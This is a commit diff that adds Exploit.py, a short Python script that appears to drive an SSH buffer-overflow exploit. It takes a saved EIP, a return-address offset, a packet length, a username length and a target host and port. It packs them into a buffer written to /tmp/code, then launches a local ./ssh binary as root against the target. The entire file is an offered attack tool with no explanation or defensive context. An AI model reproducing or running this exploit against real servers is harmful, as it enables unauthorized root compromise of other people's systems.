Create Exploit.py

Exploit.py

@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+
+import os
+import sys
+
+PATH_SSH = "./ssh"
+
+def main(argv):
+    if len(argv) < 8:
+        print("\nUsage: {} <saved eip> <count> <packet length> <username length> <host> <port> <h(i)>\n\n".format(argv[0]))
+        sys.exit(0)
+
+    port = int(argv[6])
+
+    buffer = bytearray(28)
+    ptr = memoryview(buffer).cast("I")
+    ptr[0] = 1543007393 + int(argv[1], 10)
+    ptr[1] = 0
+    ptr[2] = int(argv[7], 10)
+    ptr[3] = 0
+    ptr[4] = 16520 + int(argv[2], 10)
+    ptr[5] = int(argv[3], 10)
+    ptr[6] = int(argv[4], 10)
+
+    print("\nSaved Eip: &h + {}".format(1543007393 + int(argv[1], 10)))
+    print("\nReturn Address: 0x{:x}".format((16520 + int(argv[2], 10))//8))
+    print("\nPacket Length: {}".format((int(argv[3], 10) + 8) & ~7))
+    print("\nUsername Length: {}\n\n".format(int(argv[4], 10)))
+
+    with open("/tmp/code", "wb") as f:
+        f.write(buffer)
+
+    ssh = PATH_SSH + " -p {} -v -l root {}".format(port, argv[5])
+    print(ssh)
+    os.system(ssh)
+    sys.exit(0)
+
+if __name__ == "__main__":
+    main(sys.argv)